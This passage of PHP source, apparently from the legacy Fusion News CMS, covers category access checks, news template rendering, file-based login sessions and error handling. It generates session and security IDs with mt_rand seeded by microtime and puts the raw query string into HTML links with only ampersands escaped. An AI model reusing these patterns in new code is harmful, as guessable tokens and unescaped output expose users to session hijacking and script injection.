				if ( $dropdown_type >= 0 && $dropdown_type < 2 )
				{
					$category_list .= '<option value="' . $cid . '" selected="selected">' . $cname . '</option>';
				}
			}
			else
			{
				$category_list .= '<option value="' . $cid . '">' . $cname . '</option>';
			}
		}
	}

	$category_list .= '</select>';

	return $category_list;
}

function check_category_access ( $user_login, $category_array = array(), $type = 0 )
{
	$file = file (FNEWS_ROOT_PATH . 'categories.php');
	array_shift ($file);

	foreach ( $file as $category )
	{
		list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category);

		if ( $cid == 1 )
		{
			continue;
		}

		if ( in_array ($cid, $category_array) )
		{
			$cusers = explode (',', $cusers);
			if ( !in_array ((string)$user_login, $cusers) )
			{
				return $cname;
			}
		}
	}

	return NULL;
}

function category_exists ( $category_id = -1 )
{
	$category_id = intval ($category_id);

	$file = file (FNEWS_ROOT_PATH . 'categories.php');
	array_shift ($file);

	$found = false;
	foreach ( $file as $category )
	{
		list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category);
		if ( (int)$cid === $category_id )
		{
			$found = true;
		}
	}

	return $found;
}

function safe_write ( $filename, $mode, $data )
{
	global $ind17, $error2, $error3;

	if ( !($fp = @fopen (FNEWS_ROOT_PATH . $filename, $mode)) )
	{
		fn_trigger_error (E_USER_ERROR, $ind17, sprintf ($error2, $filename));
	}
	else
	{
		@flock ($fp, LOCK_EX);
		fputs ($fp, $data, strlen ($data));
		@flock ($fp, LOCK_UN);
		fclose ($fp);

		return true;
	}

	return false;
}

function checkbox_checked ( $value, $match = 1 )
{
	return $value == $match ? ' checked="checked"' : '';
}

function parse_news_to_view ( $news_string, $show_category = 0, $inclusion_id = 1 )
{
	global $fsnw, $wfpost, $ht, $cbwordwrap, $smilies, $bb, $stfpop, $compop,
		$furl, $fullnewsh, $fullnewsw, $fullnewss, $fullnewsz, $fslink, $datefor,
		$stflink, $stfheight, $stfwidth, $stfscrolls, $stfresize, $pclink, $datefor,
		$link_headline_fullstory, $hurl, $wwwidth, $comheight, $comwidth, $comscrolls,
		$comresize;

	$news_text = array();

	if ( !empty ($news_string) )
	{
		$icon = '';
		$email = '';
		$writer = '';
		$link_full_news = '';
		$link_comments = '';
		$link_tell_friend = '';

		list ($short_news, $full_news, $author, $subject, $description, $categories, $timestamp, $num_comments, $news_id) = explode ('|<|', $news_string);

		// Get the template HTML
		$news_tmpl = get_template ('news_temp.php', false);

		// Make sure the timestamp is numerical
		$timestamp = intval ($timestamp);
		
		$other_qs = clean_query_string();

		// Create the 'read more...' link
		if ( strpos ($news_tmpl, '{fullstory}') !== false && !empty ($full_news) )
		{
			$link_full_news = '<a href="?fn_mode=fullnews&amp;fn_incl=' . $show_category . '&amp;fn_id=' . $news_id . $other_qs . '"' . (( $fsnw ) ? ' onclick="javascript:window.open(this.href,\'\',\'height=' . $fullnewsh . ',width=' . $fullnewsw . ',toolbar=no,menubar=no,scrollbars=' . $fullnewss . ',resizable=' . $fullnewsz . '\'); return false"' : '') . '>' . $fslink . '</a>';
		}

		// Create the comments link
		if ( strpos ($news_tmpl, '{comments}') !== false && strpos ($news_tmpl, '{nrc}') !== false )
		{
			$link_comments = '<a href="?fn_mode=comments&amp;fn_incl=' . $show_category . '&amp;fn_id=' . $news_id . $other_qs . '"' . (( $compop ) ? ' onclick="window.open(this.href,\'\',\'height=' . $comheight . ',width=' . $comwidth . ',toolbar=no,menubar=no,scrollbars=' . $comscrolls . ',resizable=' . $comresize . '\'); return false"' : '') . '>' . $pclink . '</a>';
		}

		// Create the tell a friend link
		if ( strpos ($news_tmpl, '{send}') !== false )
		{
			$link_tell_friend = '<a href="?fn_mode=send&amp;fn_incl=' . $show_category . '&amp;fn_id=' . $news_id . $other_qs . '"' . (( $stfpop ) ? ' onclick="window.open(this.href,\'\',\'height=' . $stfheight . ',width=' . $stfwidth . ',toolbar=no,menubar=no,scrollbars=' . $stfscrolls . ',resizable=' . $stfresize . '\'); return false"' : '') . '>' . $stflink . '</a>';
		}

		// Make sure the number of comments is 0 or above.
		$num_comments = ( intval ($num_comments) < 0 ) ? 0 : $num_comments;

		// Get author information
		$author = findwriter ($author);

		// Create the icon
		if ( strpos ($news_tmpl, '{icon}') !== false && !empty ($author['icon']) )
		{
			$icon = '<img src="' . $author['icon'] . '" alt="" />';
		}

		// Put the writer's name with his email as a link, or in some cases not.
		$email = ( $author['showemail'] ) ? $author['email'] : '';
		if ( !$email )
		{
			$writer = $author['nick'];
		}
		else
		{
			$writer = '<a href="mailto:' . $author['email'] . '">' . $author['nick'] . '</a>';
		}

		// Get our new lines back
		$short_news = str_replace ('&br;', '<br />', $short_news);
		$full_news = str_replace ('&br;', '<br />', $full_news);

		// Do we need to use the word filter?
		if ( $wfpost )
		{
			$subject = filterbadwords ($subject);
			$short_news = filterbadwords ($short_news);
			$full_news = filterbadwords ($full_news);
		}

		// Disable HTML if needed.
		if ( $ht )
		{
			$subject = unhtmlentities ($subject);

			$short_news = unhtmlentities ($short_news);
			$short_news = str_replace ('<?', '&lt;?', $short_news);

			$full_news = unhtmlentities ($full_news);
			$full_news = str_replace ('<?', '&lt;?', $full_news);
		}

		// Word wrap the news
		if ( $cbwordwrap )
		{
			$short_news = fusion_wordwrap ($short_news, $wwwidth);
			$full_news = fusion_wordwrap ($full_news, $wwwidth);
		}
		
		// Insert the smilies!
		if ( $smilies )
		{
			$subject = InsertSmillies ($subject);
			$short_news = InsertSmillies ($short_news);
			$full_news = InsertSmillies ($full_news);
		}

		// Replace the BBCode
		if ( $bb )
		{
			$subject = InsertBBCode ($subject);
			$short_news = InsertBBCode ($short_news);
			$full_news = InsertBBCode ($full_news);
		}

		$file = file (FNEWS_ROOT_PATH . 'categories.php');
		array_shift ($file);
		$categories = explode (',', $categories);
		$cat_icon = '';
		$cat_id = 0;
		$cat_name = '';
		foreach ( $file as $category )
		{
			list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category);
			if ( ($show_category > 0 && $cid == $show_category) ||
				($show_category <= 0 && in_array ($cid, $categories)) )
			{
				$cat_icon = '<img src="' . $cicon . '" alt="" />';
				$cat_id = $cid;
				$cat_name = $cname;
				break;
			}
		}

		$news_text = array (
			'post_id'		=> $news_id,
			'link_tell_friend'	=> $link_tell_friend,
			'link_full_news'	=> $link_full_news,
			'subject'		=> $subject,
			'description'		=> $description,
			'writer'		=> $writer,
			'email'			=> $email,
			'date'			=> date ($datefor, $timestamp),
			'icon'			=> $icon,
			'news'			=> $short_news,
			'fullnews'		=> $full_news,
			'cat_icon'		=> $cat_icon,
			'cat_id'		=> $cat_id,
			'cat_name'		=> $cat_name,
		);

		if ( strpos ($news_tmpl, '{comments}') !== false && strpos ($news_tmpl, '{nrc}') !== false )
		{
			$news_text += array (
				'nrc'		=> $num_comments,
				'link_comments'	=> $link_comments,
			);
		}
		else
		{
			$news_text += array ('nrc' => '', 'link_comments' => '');
		}

		// Replace in the values!		
		$news_tmpl = replace_masks ($news_tmpl, array (
			'post_id' => $news_id,
			'user' => $writer,
			'date' => date ($datefor, $timestamp),
			'icon' => $icon,
			'send' => $link_tell_friend,
			'nrc' => $news_text['nrc'],
			'cat_id' => $news_text['cat_id'],
			'cat_name' => $news_text['cat_name'],
			'cat_icon' => $news_text['cat_icon'],
			'fullstory' => $link_full_news,
			'comments' => $news_text['link_comments'],
			'subject' => '<a id="fus_' . $news_id . '"></a>' . $subject,
			'news' => $short_news
		));

		$news_text += array ('display' => $news_tmpl);
	}

	return $news_text;
}

// PHP 4.3.2 compatability
if ( !function_exists ('session_regenerate_id') )
{
	function session_regenerate_id()
	{
		$str = '';
		mt_srand ((double)microtime() * 100000);
		for ( $i = 0; $i < 32; $i++ )
		{
			$x = mt_rand (1, 3);
			$str .= ($x == 1) ? chr (mt_rand (48, 57)) : (( $x == 2 ) ? chr (mt_rand (65, 90)) : chr (mt_rand (97, 122)));
		}

		if ( session_id ($str) )
		{
			return true;
		}
		else
		{
			return false;
		}
	}
}

/**
 * Login session functions
 **/

/**
 * This function's shared by the installer too to create the login identifier
 */
function create_security_id ( $length = 32 )
{
	$str = '';
	mt_srand ((double)microtime() * 100000);
	for ( $i = 0; $i < $length; $i++ )
	{
		$x = mt_rand (1, 3);
		$str .= ($x == 1) ? chr (mt_rand (48, 57)) : (( $x == 2 ) ? chr (mt_rand (65, 90)) : chr (mt_rand (97, 122)));
	}

	return $str;
}

function login_session_create ( $uid, $autologin = 0 )
{
	$file = file (FNEWS_ROOT_PATH . 'logins.php');
	$write = array_shift ($file);

	$user_ip = getip();
	$current_time = time();
	foreach ( $file as $login_data )
	{
		list ($securityid, $user_id, $ip, $autolog, $login_time) = explode ('|<|', $login_data);

		if ( (($user_ip == $ip) || ($user_id == $uid)) && $autolog != 1 )
		{
			// Purge old existing security id
			continue;
		}

		if ( $current_time <= ($login_time + 1800) )
		{
			$write .= $login_data;
		}
	}

	$security_id = create_security_id();

	$write .= $security_id . '|<|' . $uid . '|<|' . $user_ip . '|<|' . $autologin . '|<|' . $current_time . '|<|' . "\n";

	safe_write ('logins.php', 'wb', $write);

	setcookie ('fus_uid', $uid, $current_time + (365 * 86400));
	setcookie ('fus_sid', $security_id, $current_time + (365 * 86400));
}

function login_session_update ( $uid, $sid )
{
	if ( !$uid || !$sid )
	{
		return array();
	}

	$file = file (FNEWS_ROOT_PATH . 'logins.php');
	$write = array_shift ($file);

	$valid_sid = false;
	$userdata = NULL;
	$current_time = time();
	foreach ( $file as $login_data )
	{
		list ($securityid, $user_id, $ip, $autologin, $timestamp) = explode ('|<|', $login_data);

		if ( ($current_time >= ($timestamp + 1800)) && $autologin != 1 )
		{
			continue;
		}

		if ( $securityid != $sid )
		{
			$write .= $login_data;
			continue;
		}

		if ( (getip() != $ip) || ($uid != $user_id) )
		{
			continue;
		}

		$userfile = file (FNEWS_ROOT_PATH . 'users.php');
		array_shift ($userfile);

		foreach ( $userfile as $userinfo )
		{
			list ($user, $nick, $email, $icon, $offset, $password, $level) = explode ('|<|', $userinfo);

			if ( $user == $uid )
			{
				$valid_sid = true;

				$email = explode ('=', $email);
				$userdata = array (
					'user'		=> $user,
					'nick'		=> $nick,
					'showemail'	=> $email[0],
					'email'		=> $email[1],
					'icon'		=> $icon,
					'offset'	=> intval ($offset),
					'password'	=> $password,
					'level'		=> intval ($level)
				);

				$write .= $securityid . '|<|' . $user_id . '|<|' . $ip . '|<|' . $autologin . '|<|' . $current_time . '|<|' . "\n";
			}
		}
	}

	safe_write ('logins.php', 'wb', $write);

	if ( !$valid_sid || $userdata === NULL )
	{
		setcookie ('fus_sid', '', $current_time - 86400);
		setcookie ('fus_uid', '', $current_time - 86400);
	}

	return $userdata;
}

function login_session_destroy ( $sid )
{

	$file = file (FNEWS_ROOT_PATH . 'logins.php');
	$write = array_shift ($file);

	$valid_sid = false;
	$current_time = time();
	foreach ( $file as $login_data )
	{
		list ($securityid, $user_id, $ip, $autologin, $timestamp) = explode ('|<|', $login_data);

		if ( ($current_time >= ($timestamp + 1800)) && $autologin != 1 )
		{
			continue;
		}

		if ( $securityid == $sid )
		{
			continue;
		}

		$write .= $login_data;
	}

	safe_write ('logins.php', 'wb', $write);
}

function make_redirect ( $message, $return_url = '', $return_text = '' )
{
	global $ind76;

	$text = '<p>' . $message . '</p>';
	if ( $return_url && $return_text )
	{
		$text .= '<p><a href="' . $return_url . '">' . $return_text . '</a></p>';
	}
	$text .= '<p><a href="./">' . $ind76 . '</a></p>';

	return $text;
}

/**
 * Failsafe method of retrieving $_SERVER['QUERY_STRING']
 */
function get_query_string()
{
	return (isset ($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '');
}

/**
 * Gets query string without any Fusion News added variables.
 */
function clean_query_string()
{
	$query_string = get_query_string();
	$query_string = preg_replace ('/fn_[a-z]+=[0-9a-z]+&?/', '', $query_string);
	$query_string = str_replace ('&', '&amp;', $query_string);
	
	// Clear possible leading ampersand
	if ( substr ($query_string, -5) == '&amp;' )
	{
		$query_string = substr ($query_string, 0, -5);
	}
	
	if ( empty ($query_string) )
	{
		return '';
	}
	else	
	{
		return '&amp;' . $query_string;
	}
}

function get_form_character ( $timestamp )
{
	global $fusion_id;
	
	$total = 0;
	$time = (string)$timestamp;
	for ( $i = 0, $end = strlen ($time); $i < $end; $i++ )
	{
		$total += $i * $time{$i};
	}

	return $fusion_id{0x1F ^ ($total % 32)};
}

function check_form_character()
{
	global $VARS, $fusion_id;
	
	if ( !isset ($VARS['post_time']) || !isset ($VARS['post_form']) )
	{
		return false;
	}
	
	if ( empty ($VARS['post_time']) || empty ($VARS['post_form']) )
	{
		return false;
	}
	
	if ( ($VARS['post_time'] + 3600) <= time() )
	{
		// Allow a maximum of one hour to submit a form.
		return false;
	}

	$total = 0;
	$time = (string)$VARS['post_time'];
	for ( $i = 0, $end = strlen ($time); $i < $end; $i++ )
	{
		$total += $i * $time{$i};
	}

	return ($fusion_id{0x1F ^ ($total % 32)} == $VARS['post_form']);
}

function replace_masks ( $template, $masks = array() )
{
	foreach ( $masks as $key => $value )
	{
		$template = str_replace ('{' . $key . '}', $value, $template);
	}
	
	return $template;
}

function display_output()
{
	global $title, $content, $userdata, $skin, $start_time, $curve, $load,
		$ind163, $ind108, $ind109, $ind344, $ind169, $ind272, $ind165,
		$ind107, $ind281, $ind193, $ind194, $ind195, $ind170, $ind171,
		$notice_buffer, $warning_buffer, $ind17, $ind357, $errored_out;
	
	// Now sort out the skin
	$links_list = array (
		array ($ind163, '', GUEST), // home
		array ($ind108, '?id=postnews', NEWS_REPORTER), // new post
		array ($ind109, '?id=editposts', NEWS_REPORTER), // edit posts
		array ('edit profile', '?id=editprofile', NEWS_REPORTER), // edit posts
		array (array (NEWS_EDITOR => $ind344, NEWS_ADMIN => $ind169), '?id=admin', NEWS_EDITOR), // editor's panel/admin
		array ($ind272, '?id=view', GUEST), // view news
		array ($ind165, '?id=help', NEWS_REPORTER), // logout
		array ($ind107, '?id=logout', NEWS_REPORTER) // logout
	);

	//open skin
	$skin_files = array ('index.php', 'index.html', 'index.htm', 'index.txt', 'skin.php', 'skin.html', 'skin.htm');

	$cs1 = NULL;
	foreach ( $skin_files as $file )
	{
		$skin_file = './skins/' . $skin . '/' . $file;

		if ( @file_exists ($skin_file) )
		{
			if ( $fp = @fopen ($skin_file, 'r') )
			{
				flock ($fp, LOCK_EX);
				$cs1 = fread ($fp, filesize ($skin_file));
				flock ($fp, LOCK_UN);
				fclose ($fp);
			}
		}
	}

	if ( empty ($cs1) )
	{
		show_error ($ind281);
	}

	$row_links = '';
	$col_links = '';
	$user_level = ( !isset ($userdata['level']) ) ? 0 : $userdata['level'];
	foreach ( $links_list as $link_data )
	{
		if ( !is_array ($link_data) )
		{
			continue;
		}
		
		if ( $user_level >= $link_data[2] )
		{
			if ( !empty ($row_links) )
			{
				$row_links .= '&nbsp;|&nbsp;';
			}
			
			if ( !empty ($col_links) )
			{
				$col_links .= '<br />';
			}
			
			$row_links .= '<a href="index.php' . $link_data[1] . '">';
			$col_links .= '<a href="index.php' . $link_data[1] . '">';
			if ( is_array ($link_data[0]) )
			{
				$row_links .= $link_data[0][$userdata['level']];
				$col_links .= $link_data[0][$userdata['level']];
			}
			else
			{
				$row_links .= $link_data[0];
				$col_links .= $link_data[0];
			}
			$row_links .= '</a>';
			$col_links .= '</a>';
		}
	}

	if ( has_access (NEWS_REPORTER) )
	{
		switch ( $userdata['level'] )
		{
			case 3:
				$status = $ind195;
				break;
			
			case 2:
				$status = $ind194;
				break;
				
			case 1:
				$status = $ind193;
				break;
			
			default:
				break;
		}

		$login = $ind170 . ' <b>' . $userdata['nick'] . '</b> [<b>' . $status . '</b>]';
	}
	else
	{
		$login = $ind171;
	}
	
	if ( !$errored_out )
	{
		if ( !empty ($notice_buffer) )
		{
			$content = '<ul id="fn_notice"><li class="title">' . $ind357 . '</li>' . $notice_buffer . '</ul>' . $content;
		}

		if ( !empty ($warning_buffer) )
		{
			$content = '<ul id="fn_warning"><li class="title">' . $ind17 . '</li>' . $warning_buffer . '</ul>' . $content;
		}
	}

	$cs = replace_masks ($cs1, array (
		'main'	=> $content,
		'title'	=> $title,
		'linksn'=> $row_links,
		'linksb'=> $col_links,
		'login'	=> $login,
		'load'	=> $load,
		'curve'	=> $curve
	));

	//-----------------------------------------------
	// Do this very last to get the most accurate
	// result possible 
	//-----------------------------------------------
	$split = explode (' ', microtime());
	$end_time = (float)$split[0] + (float)$split[1];
	$cs = str_replace ('{loadtime}', sprintf ('%.6f', $end_time - $start_time), $cs);

	//-----------------------------------------------
	// Blammo, out comes the end product :p
	//-----------------------------------------------
	// There *might* be some problems with sending large amount of
	// data at once because of the way TCP/IP buffers the data or
	// something, so let's split the string into pieces and echo them.
	for ( $i = 0, $end = strlen ($cs); $i < $end; $i += 8192 )
	{
		// send them in 8kb chunks
		echo substr ($cs, $i, 8192);
	}
}

/**
 * Error handling
 */
$warning_buffer = '';
$notice_buffer = '';
$errored_out = false;

function fn_trigger_error ( $errno, $errtitle, $errstr )
{
	trigger_error ($errtitle . '|' . $errstr, $errno);
}

function fn_error_handler ( $errno, $errstr, $errfile, $errline )
{
	global $title, $content, $warning_buffer, $notice_buffer, $errored_out;
	
	switch ( $errno )
	{
		case E_USER_ERROR:
			$error = explode ('|', $errstr);
			
			$title = $error[0];
			$content = $error[1];
			
			$errored_out = true;
		
			display_output();
			die();
		break;
	
		case E_USER_NOTICE:
			$error = explode ('|', $errstr);
			$notice_buffer .= '<li>' . $error[1] . '</li>' . "\n";
		break;
		
		case E_USER_WARNING:
			$error = explode ('|', $errstr);
			$warning_buffer .= '<li>' . $error[1] . '</li>' . "\n";
		break;
		
		case E_ERROR:
			$content = $errstr;
			
			$errored_out = true;
			
			display_output();
			die();
		break;
		
		case E_NOTICE:
			$notice_buffer .= '<li>' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '</li>' . "\n";
		break;
		
		case E_WARNING:
			$warning_buffer .= '<li>' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '</li>' . "\n";
		break;
		
		default:
		break;
	}
}

?>